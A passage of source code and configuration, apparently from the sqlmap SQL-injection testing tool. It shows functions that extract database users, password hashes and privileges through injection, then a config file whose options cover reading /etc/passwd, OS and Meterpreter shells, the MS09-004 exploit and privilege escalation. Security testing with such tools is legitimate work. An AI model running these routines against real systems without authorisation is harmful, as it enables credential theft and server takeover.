"2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) condition |= (Backend.isDbms(DBMS.H2) and not isDBMSVersionAtLeast("2")) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = rootQuery.inband.query3 elif condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedUsers = [] for value in arrayizeValue(values): value = unArrayizeValue(value) if not isNoneValue(value): kb.data.cachedUsers.append(value) if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database users" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = rootQuery.blind.count3 elif condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: return kb.data.cachedUsers elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") elif Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = rootQuery.blind.query3 % index elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index user = unArrayizeValue(inject.getValue(query, union=False, error=False)) if user: kb.data.cachedUsers.append(user) if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" logger.error(errMsg) return kb.data.cachedUsers def getPasswordHashes(self): infoMsg = "fetching database users password hashes" rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = [_ for _ in users if _] if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False) if retVal: for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False) elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)): values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False) for user, password in filterPairValues(values): if not user or user == " ": continue password = parsePasswordHash(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: fallback = False if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True query = rootQuery.inband.query retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True) if retVal: for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): password = "0x%s" % encodeHex(password, binary=False).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: retrievedUsers = set() for user in users: user = unArrayizeValue(user) if user in retrievedUsers: continue if Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): count = 1 else: infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): fallback = True count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) elif Backend.isDbms(DBMS.MYSQL): fallback = True count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user logger.warning(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) if fallback: query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr") elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): query = rootQuery.blind.query % (user,) elif Backend.isDbms(DBMS.HSQLDB): query = rootQuery.blind.query % (index, user) else: query = rootQuery.blind.query % (user, index) if Backend.isDbms(DBMS.MYSQL): if fallback: query = query.replace("authentication_string", "password") password = unArrayizeValue(inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) passwords.append(password) if passwords: kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user logger.warning(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " errMsg += "database users" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) storeHashesToFile(kb.data.cachedUsersPasswords) message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': pass elif choice == 'Q': raise SqlmapUserQuitException else: attackCachedUsersPasswords() return kb.data.cachedUsersPasswords def getPrivileges(self, query2=False): infoMsg = "fetching database users privileges" rootQuery = queries[Backend.getIdentifiedDbms()].privileges if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = [_ for _ in users if _] # Set containing the list of DBMS administrators areAdmins = set() if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) else: query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False, time=False) if not values and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) if not isNoneValue(values): for value in values: user = None privileges = set() for count in xrange(0, len(value or [])): # The first column is always the username if count == 0: user = value[count] # The other columns are the privileges else: privilege = value[count] if privilege is None: continue # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): if int(privilege) == 1 and count in PGSQL_PRIVS: privileges.add(PGSQL_PRIVS[count]) # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: if privilege.upper() == 'Y': privileges.add(MYSQL_PRIVS[count]) # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): if privilege.strip() in FIREBIRD_PRIVS: privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): privs = privilege.split(',') privilege = privs[0] if len(privs) > 1: privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: if priv.upper() in ('Y', 'G'): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv i += 1 privileges.add(privilege) if user in kb.data.cachedUsersPrivileges: kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user])) else: kb.data.cachedUsersPrivileges[user] = list(privileges) if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct: if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: conditionChar = "LIKE" else: conditionChar = "=" if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] retrievedUsers = set() for user in users: outuser = user if user in retrievedUsers: continue if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: user = "%%%s%%" % user if Backend.isDbms(DBMS.INFORMIX): count = 1 else: infoMsg = "fetching number of privileges " infoMsg += "for user '%s'" % outuser logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 % user elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.count % (conditionChar, user) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "privileges for user '%s'" % outuser logger.warning(warnMsg) continue infoMsg = "fetching privileges for user '%s'" % outuser logger.info(infoMsg) privileges = set() plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.query % (conditionChar, user, index) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, user) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (user,) else: query = rootQuery.blind.query % (user, index) privilege = unArrayizeValue(inject.getValue(query, union=False, error=False)) if privilege is None: continue # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: privilege = privilege.replace(", ", ',') privs = privilege.split(',') i = 1 for priv in privs: if priv.isdigit() and int(priv) == 1 and i in PGSQL_PRIVS: privileges.add(PGSQL_PRIVS[i]) i += 1 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: privilege = privilege.replace(", ", ',') privs = privilege.split(',') i = 1 for priv in privs: if priv.upper() == 'Y': for position, mysqlPriv in MYSQL_PRIVS.items(): if position == i: privileges.add(mysqlPriv) i += 1 # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): if privilege.strip() in FIREBIRD_PRIVS: privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In Informix we get one letter for the highest privilege elif Backend.isDbms(DBMS.INFORMIX): if privilege.strip() in INFORMIX_PRIVS: privileges.add(INFORMIX_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): privs = privilege.split(',') privilege = privs[0] privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: if priv.upper() in ('Y', 'G'): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv i += 1 privileges.add(privilege) # In MySQL < 5.0 we break the cycle after the first # time we get the user's privileges otherwise we # duplicate the same query if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: break if privileges: kb.data.cachedUsersPrivileges[user] = list(privileges) else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % outuser logger.warning(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPrivileges: errMsg = "unable to retrieve the privileges " errMsg += "for the database users" raise SqlmapNoneDataException(errMsg) for user, privileges in kb.data.cachedUsersPrivileges.items(): if isAdminFromPrivileges(privileges): areAdmins.add(user) return (kb.data.cachedUsersPrivileges, areAdmins) def getRoles(self, query2=False): warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() warnMsg += "exist. sqlmap will enumerate privileges instead" logger.warning(warnMsg) return self.getPrivileges(query2) ================================================ FILE: sqlmap.conf ================================================ # At least one of these options has to be specified to set the source to # get target URLs from. [Target] # Target URL. # Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 url = # Direct connection to the database. # Examples: # mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME # oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID direct = # Parse targets from Burp or WebScarab logs # Valid: Burp proxy (http://portswigger.net/suite/) requests log file path # or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) # 'conversations/' folder path logFile = # Scan multiple targets enlisted in a given textual file bulkFile = # Load HTTP request from a file # Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme requestFile = # Rather than providing a target URL, let Google return target # hosts as result of your Google dork expression. For a list of Google # dorks see Google Hacking Database at # https://www.exploit-db.com/google-hacking-database # Example: +ext:php +inurl:"&id=" +intext:"powered by " googleDork = # These options can be used to specify how to connect to the target URL. [Request] # Force usage of given HTTP method (e.g. PUT). method = # Data string to be sent through POST (e.g. "id=1"). data = # Character used for splitting parameter values (e.g. &). paramDel = # HTTP Cookie header value (e.g. "PHPSESSID=a8d127e.."). cookie = # Character used for splitting cookie values (e.g. ;). cookieDel = # Live cookies file used for loading up-to-date values. liveCookies = # File containing cookies in Netscape/wget format. loadCookies = # Ignore Set-Cookie header from response. # Valid: True or False dropSetCookie = False # Use HTTP version 1.0 (old). # Valid: True or False http10 = False # Use HTTP version 2 (experimental). # Valid: True or False http2 = False # HTTP User-Agent header value. Useful to fake the HTTP User-Agent header value # at each HTTP request. # sqlmap will also test for SQL injection on the HTTP User-Agent value. agent = # Imitate smartphone through HTTP User-Agent header. # Valid: True or False mobile = False # Use randomly selected HTTP User-Agent header value. # Valid: True or False randomAgent = False # HTTP Host header value. host = # HTTP Referer header. Useful to fake the HTTP Referer header value at # each HTTP request. referer = # Extra HTTP headers headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 # HTTP Authentication type. Useful only if the target URL requires # HTTP Basic, Digest, Bearer or NTLM authentication and you have such data. # Valid: Basic, Digest, Bearer, NTLM or PKI authType = # HTTP authentication credentials. Useful only if the target URL requires # HTTP Basic, Digest, Token or NTLM authentication and you have such data. # Syntax: username:password authCred = # HTTP Authentication PEM private/cert key file. Useful only if the target URL requires # PKI authentication and you have such data. # Syntax: key_file authFile = # Abort on (problematic) HTTP error code (e.g. 401). # Valid: string abortCode = # Ignore (problematic) HTTP error code (e.g. 401). # Valid: string ignoreCode = # Ignore system default proxy settings. # Valid: True or False ignoreProxy = False # Ignore redirection attempts. # Valid: True or False ignoreRedirects = False # Ignore connection timeouts. # Valid: True or False ignoreTimeouts = False # Use a proxy to connect to the target URL. # Syntax: (http|https|socks4|socks5)://address:port proxy = # Proxy authentication credentials. Useful only if the proxy requires # Basic or Digest authentication and you have such data. # Syntax: username:password proxyCred = # Load proxy list from a file proxyFile = # Use Tor anonymity network. # Valid: True or False tor = False # Set Tor proxy port other than default. # Valid: integer # torPort = # Set Tor proxy type. # Valid: HTTP, SOCKS4, SOCKS5 torType = SOCKS5 # Check to see if Tor is used properly. # Valid: True or False checkTor = False # Delay in seconds between each HTTP request. # Valid: float # Default: 0 delay = 0 # Seconds to wait before timeout connection. # Valid: float # Default: 30 timeout = 30 # Maximum number of retries when the HTTP connection timeouts. # Valid: integer # Default: 3 retries = 3 # Retry request on regexp matching content. retryOn = # Randomly change value for the given parameter. rParam = # URL address to visit frequently during testing. # Example: http://192.168.1.121/index.html safeUrl = # POST data to send to a safe URL. # Example: username=admin&password=passw0rd! safePost = # Load safe HTTP request from a file. safeReqFile = # Regular requests between visits to a safe URL (default 0). # Valid: integer # Default: 0 safeFreq = 0 # Skip URL encoding of payload data. # Valid: True or False skipUrlEncode = False # Skip safe (HTML) encoding of payload data for SOAP/XML. # Valid: True or False skipXmlEncode = False # Parameter used to hold anti-CSRF token. csrfToken = # URL address to visit to extract anti-CSRF token csrfUrl = # HTTP method to use during anti-CSRF token page visit. csrfMethod = # POST data to send during anti-CSRF token page visit. csrfData = # Retries for anti-CSRF token retrieval. csrfRetries = # Force usage of SSL/HTTPS # Valid: True or False forceSSL = False # Use HTTP chunked transfer encoded requests. # Valid: True or False chunked = False # Use HTTP parameter pollution. # Valid: True or False hpp = False # Evaluate provided Python code before the request. # Example: import hashlib;id2=hashlib.md5(id).hexdigest() evalCode = # These options can be used to optimize the performance of sqlmap. [Optimization] # Use all optimization options. # Valid: True or False optimize = False # Predict common queries output. # Valid: True or False predictOutput = False # Use persistent HTTP(s) connections. keepAlive = False # Retrieve page length without actual HTTP response body. # Valid: True or False nullConnection = False # Maximum number of concurrent HTTP(s) requests (handled with Python threads) # to be used in the inference SQL injection attack. # Valid: integer # Default: 1 threads = 1 # These options can be used to specify which parameters to test for, # provide custom injection payloads and optional tampering scripts. [Injection] # Testable parameter(s) comma separated. By default all GET/POST/Cookie # parameters and HTTP User-Agent are tested by sqlmap. testParameter = # Skip testing for given parameter(s). skip = # Skip testing parameters that not appear to be dynamic. # Valid: True or False skipStatic = False # Regexp to exclude parameters from testing (e.g. "ses"). paramExclude = # Select testable parameter(s) by place (e.g. "POST"). paramFilter = # Force back-end DBMS to provided value. If this option is set, the back-end # DBMS identification process will be minimized as needed. # If not set, sqlmap will detect back-end DBMS automatically by default. # Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql, sqlite, sqlite3, # access, firebird, maxdb, sybase dbms = # DBMS authentication credentials (user:password). Useful if you want to # run SQL statements as another user, the back-end database management # system is PostgreSQL or Microsoft SQL Server and the parameter is # vulnerable by stacked queries SQL injection or you are connecting directly # to the DBMS (-d switch). # Syntax: username:password dbmsCred = # Force back-end DBMS operating system to provided value. If this option is # set, the back-end DBMS identification process will be minimized as # needed. # If not set, sqlmap will detect back-end DBMS operating system # automatically by default. # Valid: linux, windows os = # Use big numbers for invalidating values. # Valid: True or False invalidBignum = False # Use logical operations for invalidating values. # Valid: True or False invalidLogical = False # Use random strings for invalidating values. # Valid: True or False invalidString = False # Turn off payload casting mechanism # Valid: True or False noCast = False # Turn off string escaping mechanism # Valid: True or False noEscape = False # Injection payload prefix string. prefix = # Injection payload suffix string. suffix = # Use given script(s) for tampering injection data. tamper = # These options can be used to specify how to parse and compare page # content from HTTP responses when using blind SQL injection technique. [Detection] # Level of tests to perform. # The higher the value is, the higher the number of HTTP(s) requests are # as well as the better chances to detect a tricky SQL injection. # Valid: Integer between 1 and 5 # Default: 1 level = 1 # Risk of tests to perform. # Note: boolean-based blind SQL injection tests with AND are considered # risk 1, with OR are considered risk 3. # Valid: Integer between 1 and 3 # Default: 1 risk = 1 # String to match within the raw response when the query is evaluated to # True, only needed if the page content dynamically changes at each refresh. # Refer to the user's manual for further details. string = # String to match within the raw response when the query is evaluated to # False, only needed if the page content dynamically changes at each refresh. # Refer to the user's manual for further details. notString = # Regular expression to match within the raw response when the query is # evaluated to True, only needed if the needed if the page content # dynamically changes at each refresh. # Refer to the user's manual for further details. # Valid: regular expression with Python syntax # (http://www.python.org/doc/2.5.2/lib/re-syntax.html) regexp = # HTTP response code to match when the query is True. # Valid: Integer # Example: 200 (assuming any False statement returns a different response # code) # code = # Conduct thorough tests only if positive heuristic(s). # Valid: True or False smart = False # Compare pages based only on the textual content. # Valid: True or False textOnly = False # Compare pages based only on their titles. # Valid: True or False titles = False # These options can be used to tweak testing of specific SQL injection # techniques. [Techniques] # SQL injection techniques to use. # Valid: a string composed by B, E, U, S, T and Q where: # B: Boolean-based blind SQL injection # E: Error-based SQL injection # U: UNION query SQL injection # S: Stacked queries SQL injection # T: Time-based blind SQL injection # Q: Inline SQL injection # Example: ES (means test for error-based and stacked queries SQL # injection types only) # Default: BEUSTQ (means test for all SQL injection types - recommended) technique = BEUSTQ # Seconds to delay the response from the DBMS. # Valid: integer # Default: 5 timeSec = 5 # Disable the statistical model for detecting the delay. # Valid: True or False disableStats = False # Range of columns to test for. # Valid: range of integers # Example: 1-10 uCols = # Character to use for bruteforcing number of columns. # Valid: string # Example: NULL uChar = # Table to use in FROM part of UNION query SQL injection. # Valid: string # Example: INFORMATION_SCHEMA.COLLATIONS uFrom = # Column values to use for UNION query SQL injection. # Valid: string # Example: NULL,1,*,NULL uValues = # Domain name used for DNS exfiltration attack. # Valid: string dnsDomain = # Resulting page URL searched for second-order response. # Valid: string secondUrl = # Load second-order HTTP request from file. # Valid: string secondReq = [Fingerprint] # Perform an extensive back-end database management system fingerprint # based on various techniques. # Valid: True or False extensiveFp = False # These options can be used to enumerate the back-end database # management system information, structure and data contained in the # tables. Moreover you can run your own SQL statements. [Enumeration] # Retrieve everything # Valid: True or False getAll = False # Retrieve back-end database management system banner. # Valid: True or False getBanner = False # Retrieve back-end database management system current user. # Valid: True or False getCurrentUser = False # Retrieve back-end database management system current database. # Valid: True or False getCurrentDb = False # Retrieve back-end database management system server hostname. # Valid: True or False getHostname = False # Detect if the DBMS current user is DBA. # Valid: True or False isDba = False # Enumerate back-end database management system users. # Valid: True or False getUsers = False # Enumerate back-end database management system users password hashes. # Valid: True or False getPasswordHashes = False # Enumerate back-end database management system users privileges. # Valid: True or False getPrivileges = False # Enumerate back-end database management system users roles. # Valid: True or False getRoles = False # Enumerate back-end database management system databases. # Valid: True or False getDbs = False # Enumerate back-end database management system database tables. # Optional: db # Valid: True or False getTables = False # Enumerate back-end database management system database table columns. # Optional: db, tbl, col # Valid: True or False getColumns = False # Enumerate back-end database management system schema. # Valid: True or False getSchema = False # Retrieve number of entries for table(s). # Valid: True or False getCount = False # Dump back-end database management system database table entries. # Requires: tbl and/or col # Optional: db # Valid: True or False dumpTable = False # Dump all back-end database management system databases tables entries. # Valid: True or False dumpAll = False # Search column(s), table(s) and/or database name(s). # Requires: db, tbl or col # Valid: True or False search = False # Check for database management system database comments during enumeration. # Valid: True or False getComments = False # Retrieve SQL statements being run on database management system. # Valid: True or False getStatements = False # Back-end database management system database to enumerate. db = # Back-end database management system database table(s) to enumerate. tbl = # Back-end database management system database table column(s) to enumerate. col = # Back-end database management system identifiers (database(s), table(s) and column(s)) to not enumerate. exclude = # Pivot column name. pivotColumn = # Use WHERE condition while table dumping (e.g. "id=1"). dumpWhere = # Back-end database management system database user to enumerate. user = # Exclude DBMS system databases when enumerating tables. # Valid: True or False excludeSysDbs = False # First query output entry to retrieve # Valid: integer # Default: 0 (sqlmap will start to retrieve the table dump entries from # first one) limitStart = 0 # Last query output entry to retrieve # Valid: integer # Default: 0 (sqlmap will detect the number of table dump entries and # retrieve them until the last) limitStop = 0 # First query output word character to retrieve # Valid: integer # Default: 0 (sqlmap will enumerate the query output from the first # character) firstChar = 0 # Last query output word character to retrieve # Valid: integer # Default: 0 (sqlmap will enumerate the query output until the last # character) lastChar = 0 # SQL statement to be executed. # Example: SELECT 'foo', 'bar' sqlQuery = # Prompt for an interactive SQL shell. # Valid: True or False sqlShell = False # Execute SQL statements from given file(s). sqlFile = # These options can be used to run brute force checks. [Brute force] # Check existence of common tables. # Valid: True or False commonTables = False # Check existence of common columns. # Valid: True or False commonColumns = False # Check existence of common files. # Valid: True or False commonFiles = False # These options can be used to create custom user-defined functions. [User-defined function] # Inject custom user-defined functions # Valid: True or False udfInject = False # Local path of the shared library shLib = # These options can be used to access the back-end database management # system underlying file system. [File system] # Read a specific file from the back-end DBMS underlying file system. # Examples: /etc/passwd or C:\boot.ini fileRead = # Write a local file to a specific path on the back-end DBMS underlying # file system. # Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt fileWrite = # Back-end DBMS absolute filepath to write the file to. fileDest = # These options can be used to access the back-end database management # system underlying operating system. [Takeover] # Execute an operating system command. # Valid: operating system command osCmd = # Prompt for an interactive operating system shell. # Valid: True or False osShell = False # Prompt for an out-of-band shell, Meterpreter or VNC. # Valid: True or False osPwn = False # One click prompt for an out-of-band shell, Meterpreter or VNC. # Valid: True or False osSmb = False # Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored # procedure heap-based buffer overflow (MS09-004) exploitation. # Valid: True or False osBof = False # Database process' user privilege escalation. # Note: Use in conjunction with osPwn, osSmb or osBof. It will force the # payload to be Meterpreter. privEsc = False # Local path where Metasploit Framework is installed. # Valid: file system path msfPath = # Remote absolute path of temporary files directory. # Valid: absolute file system path tmpPath = # These options can be used to access the back-end database management # system Windows registry. [Windows] # Read a Windows registry key value. # Valid: True or False regRead = False # Write a Windows registry key value data. # Valid: True or False regAdd = False # Delete a Windows registry key value. # Valid: True or False regDel = False # Windows registry key. regKey = # Windows registry key value. regVal = # Windows registry key value data. regData = # Windows registry key value type. regType = # These options can be used to set some general working parameters. [General] # Load session from a stored (.sqlite) file # Example: output/www.target.com/session.sqlite sessionFile = # Log all HTTP traffic into a textual file. trafficFile = # Abort data retrieval on empty results. abortOnEmpty = False # Set predefined answers (e.g. "quit=N,follow=N"). answers = # Parameter(s) containing Base64 encoded data base64Parameter = # Use URL and filename safe Base64 alphabet (Reference: https://en.wikipedia.org/wiki/Base64#URL_applications). # Valid: True or False base64Safe = False # Never ask for user input, use the default behaviour. # Valid: True or False batch = False # Result fields having binary values (e.g. "digest"). binaryFields = # Check Internet connection before assessing the target. checkInternet = False # Clean up the DBMS from sqlmap specific UDF and tables. # Valid: True or False cleanup = False # Crawl the website starting from the target URL. # Valid: integer # Default: 0 crawlDepth = 0 # Regexp to exclude pages from crawling (e.g. "logout"). crawlExclude = # Delimiting character used in CSV output. # Default: , csvDel = , # Store dumped data to a custom file. dumpFile = # Format of dumped data # Valid: CSV, HTML or SQLITE dumpFormat = CSV # Force character encoding used for data retrieval. encoding = # Retrieve each query output length and calculate the estimated time of # arrival in real time. # Valid: True or False eta = False # Flush session files for current target. # Valid: True or False flushSession = False # Parse and test 